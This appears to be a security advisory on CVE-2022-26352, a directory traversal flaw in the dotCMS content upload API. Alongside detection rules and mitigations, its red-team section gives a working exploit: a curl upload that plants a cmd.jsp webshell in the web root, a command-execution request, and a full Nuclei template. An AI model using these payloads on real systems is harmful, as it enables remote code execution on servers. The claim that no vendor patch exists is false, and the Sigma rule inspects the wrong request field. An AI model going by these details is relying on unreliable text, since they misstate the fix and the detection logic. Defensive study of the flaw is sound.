CVE-2022-26352

Executive Summary

CVE-2022-26352 is a critical directory traversal vulnerability in the dotCMS ContentResource API, affecting versions 3.0 through 22.02. The flaw allows an attacker to craft a multipart form request to upload a file with an unsanitized filename, enabling directory traversal. If anonymous content creation is enabled, an unauthenticated attacker can upload an executable file (e.g., a .jsp file) outside the intended storage location, leading to remote code execution (RCE). The vulnerability has a CVSS score of 9.8 (Critical) and is actively exploited in the wild, with a public proof-of-concept (PoC) and a Nuclei template available. The vendor has not released a patch, and the vulnerability remains unpatched as of the latest advisory.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.94309 (99.948th percentile) – indicates high probability of exploitation in the wild.

Deep Dive & Mechanics

The vulnerability resides in the ContentResource API endpoint /api/content/. When processing multipart form-data requests, the API does not properly sanitize the filename parameter. An attacker can inject path traversal sequences (e.g., ../../../../) in the filename to write the uploaded file to an arbitrary location on the server. In a typical dotCMS deployment, the web root is located at /srv/dotserver/tomcat-9.0.41/webapps/ROOT/. By traversing to this directory, an attacker can upload a malicious JSP file that, when accessed, executes arbitrary code in the context of the web server.

The attack flow:

1. Send a POST request to /api/content/ with a multipart form containing a file whose filename includes path traversal sequences.
2. The file is written outside the intended upload directory, e.g., to the web root.
3. Access the uploaded file via HTTP to trigger execution (e.g., a JSP file that runs system commands).

This vulnerability is particularly dangerous because it requires no authentication if anonymous content creation is enabled, which is a common configuration in dotCMS.

Vulnerable vs. Patched Code

Vulnerable Code (dotCMS 3.0 through 22.02): The ContentResource API does not validate or sanitize the filename parameter in multipart requests. The file is saved using the user-supplied filename directly, allowing path traversal.

// Vulnerable pseudocode
String filename = request.getPart("file").getSubmittedFileName();
File uploadedFile = new File(uploadDirectory, filename);
// No sanitization of filename
filePart.write(uploadedFile.getAbsolutePath());

Patched Code (Hypothetical): A patch would sanitize the filename by removing path traversal sequences (e.g., ../) and ensuring the file is saved within the intended directory.

// Patched pseudocode
String filename = request.getPart("file").getSubmittedFileName();
filename = new File(filename).getName(); // Strip path components
File uploadedFile = new File(uploadDirectory, filename);
// Validate that the file is within the upload directory
if (!uploadedFile.getCanonicalPath().startsWith(uploadDirectory.getCanonicalPath())) {
    throw new SecurityException("Invalid file path");
}
filePart.write(uploadedFile.getAbsolutePath());

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target dotCMS instance (version 3.0 to 22.02) with anonymous content creation enabled.
• Network access to the /api/content/ endpoint.

Exploit Steps:

1. Craft a malicious JSP file (e.g., cmd.jsp) that executes system commands.
2. Use the following curl command to upload the file with path traversal:

curl -X POST http://target.com/api/content/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -F "name=@cmd.jsp;filename=../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/cmd.jsp"

3. Access the uploaded file to trigger RCE:

curl http://target.com/cmd.jsp?cmd=id

Nuclei Template (Provided):

id: CVE-2022-26352

info:
  name: DotCMS - Arbitrary File Upload
  author: h1ei1
  severity: critical
  description: DotCMS management system contains an arbitrary file upload vulnerability via the /api/content/ path which can allow attackers to upload malicious Trojans to obtain server permissions.
  impact: |
    Successful exploitation of this vulnerability can lead to remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix this vulnerability.
  reference:
    - https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/
    - https://github.com/h1ei1/POC/tree/main/CVE-2022-26352
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26352
    - http://packetstormsecurity.com/files/167365/dotCMS-Shell-Upload.html
    - https://groups.google.com/g/dotcms
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-26352
    cwe-id: CWE-22
    epss-score: 0.94309
    epss-percentile: 0.99948
    cpe: cpe:2.3:a:dotcms:dotcms:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: dotcms
    product: dotcms
    shodan-query: http.title:"dotcms"
    fofa-query: title="dotcms"
    google-query: intitle:"dotcms"
  tags: cve,cve2022,packetstorm,rce,dotcms,kev,fileupload,intrusive,vkev,vuln

http:
  - raw:
      - |
        POST /api/content/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=------------------------aadc326f7ae3eac3

        --------------------------aadc326f7ae3eac3
        Content-Disposition: form-data; name="name"; filename="../../../../../../../../../srv/dotserver/tomcat-9.0.41/webapps/ROOT/{{randstr}}.jsp"
        Content-Type: text/plain

        <%
        out.println("CVE-2022-26352");
        %>
        --------------------------aadc326f7ae3eac3--
      - |
        GET /{{randstr}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "CVE-2022-26352")'
          - 'status_code_2 == 200'
        condition: and

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /api/content/ with multipart form-data containing path traversal sequences (e.g., ../).
• Look for unusual file extensions (e.g., .jsp, .war, .php) in the filename parameter.
• Alert on successful file uploads followed by access to the uploaded file.

Mitigation:

• Disable anonymous content creation if not required.
• Implement a Web Application Firewall (WAF) rule to block path traversal patterns in file uploads.
• Apply input validation and sanitization on the server side (if patching is not possible, consider a virtual patch).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/content/ with multipart form-data containing filename=../../../../ sequences.
  • HTTP requests to newly created JSP files in the web root (e.g., /cmd.jsp, /shell.jsp).
• File System IOCs:
  • Unexpected JSP files in the web root directory (e.g., /srv/dotserver/tomcat-9.0.41/webapps/ROOT/).
  • Files with suspicious names containing path traversal patterns.
• Log IOCs:
  • Tomcat access logs showing POST to /api/content/ followed by GET to a JSP file.
  • Error logs indicating file write operations outside the intended upload directory.

Detection Engineering

YARA Rule

rule CVE_2022_26352_DotCMS_FileUpload {
    meta:
        description = "Detects attempts to exploit CVE-2022-26352 via path traversal in multipart file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-26352"
    strings:
        $traversal = /\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\//
        $jsp_ext = ".jsp"
        $multipart_boundary = "multipart/form-data"
    condition:
        $multipart_boundary and $traversal and $jsp_ext
}

Sigma Rule

title: CVE-2022-26352 DotCMS Arbitrary File Upload
id: 8c9e3b2a-1f4d-4e7a-9b6c-3d2e1f0a5b8c
status: experimental
description: Detects HTTP POST requests to /api/content/ with path traversal in filename
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: tomcat
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /api/content/
        cs-uri-query|contains: 
            - "filename=../../"
            - "name=../../"
    condition: selection
falsepositives:
    - Legitimate file uploads with similar patterns (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-26352 DotCMS Arbitrary File Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/content/"; http_uri; content:"filename"; http_client_body; pcre:"/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\/\.\.\//Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Anonymous Content Creation: If not required, disable this feature in the dotCMS admin panel to prevent unauthenticated exploitation.
2. Apply Virtual Patching: Use a WAF to block requests containing path traversal sequences in the filename parameter of multipart uploads.
3. Restrict File Uploads: Limit the allowed file extensions and validate the filename on the server side.

Long-Term Fix:

• The vendor has not released an official patch. Monitor dotCMS security advisories and apply updates as soon as they become available.
• Consider migrating to a supported version or implementing custom input validation in the ContentResource API.

Workaround:

• Modify the ContentResource class to sanitize filenames by stripping path components (e.g., using new File(filename).getName()).

Valters IT

{/* [Security Hash: AA384D0DB8B5C51528D1B63F] */}